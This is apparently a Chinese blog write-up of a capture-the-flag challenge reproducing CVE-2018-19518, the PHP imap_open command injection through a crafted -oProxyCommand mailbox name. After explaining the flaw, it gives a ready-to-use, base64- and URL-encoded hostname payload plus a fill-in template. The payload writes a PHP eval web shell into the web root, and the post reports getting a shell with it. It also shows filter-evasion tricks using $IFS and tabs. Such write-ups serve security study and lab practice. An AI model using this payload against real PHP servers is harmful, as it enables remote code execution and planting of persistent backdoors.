CVE-2018-19518 漏洞复现

CVE-2018-19518

漏洞介绍

IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数。

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

imap_open(string $mailbox,string $user,string $password)

其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh,如下图:

又因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞。

ssh -oProxyCommand ="tac /flag|tee /tmp/executed"localhost
#其中管道符tee意思是将内容追加到文件并且在屏幕输出

可以看到尽管没有连接成功,但是我们成功的把命令写入到了文件,所以这也就是我们系统被攻击的成因。

ProxyCommand,连接服务器的这样的一个命令具体说明如下:

ProxyCommand 指定用于连接服务器的命令。命令字符串扩展到行的末尾,并使用用户的shell' exec'指令执行,以避免延迟的shell进程。 ProxyCommand接受TOKENS 部分中描述的令牌的参数。该命令基本上可以是任何东西,并且应该从其标准输入读取并写入其标准输出。它应该最终连接在某台机器上运行的sshd服务器,或者在sshd -i某处执行。主机密钥管理将使用所连接主机的HostName完成(默认为用户键入的名称)。设置命令以none完全禁用此选项。请注意, CheckHostIP无法与代理命令连接。 该指令与nc及其代理支持结合使用非常有用。例如,以下指令将通过192.0.2.0的HTTP代理连接: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

解析命令时还会有问题。要绕过斜杠和空格的转义。用$IFS和\t或者base64编码和相关命令再解码。如下:

bash 复制代码
echo "echo hello|tee /tmp/executed"|base64

ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash

影响版本

Ubuntu、Debian、Red Hat、SUSE

PHP 5.6.x < 5.6.39


开始做题。初始界面是邮箱登录,有三个参数可以输入,分别是邮箱、账号、密码。是CVE-2018-19518的特征。

看看network,版本条件都满足。

抓个包看看,三个参数是hostnameusernamepassword,猜测后端PHP语言用了imap_open(string $mailbox,string $user,string $password)语句。满足条件。

直接固定payload打:

# 原始payload
x+-oProxyCommand=echo	echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64	-d|sh}

# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}

# 模板
hostname=x+-oProxyCommand%3decho%09【要执行命令的base64】|base64%09-d|sh}&username=xxx&password=xxx

最终payload:

hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=xxx&password=xxx

访问/1.php,直接getshell。

相关推荐
黑客Ash4 小时前
【D01】网络安全概论
网络·安全·web安全·php
.Ayang6 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang6 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
网络安全-老纪6 小时前
iOS应用网络安全之HTTPS
web安全·ios·https
Mr.Pascal7 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php
风间琉璃""8 小时前
二进制与网络安全的关系
安全·机器学习·网络安全·逆向·二进制
dot.Net安全矩阵9 小时前
.NET 通过模块和驱动收集本地EDR的工具
windows·安全·web安全·.net·交互
Che_Che_9 小时前
Cross-Inlining Binary Function Similarity Detection
人工智能·网络安全·gnn·二进制相似度检测
Hacker_Oldv9 小时前
网络安全的学习路线
学习·安全·web安全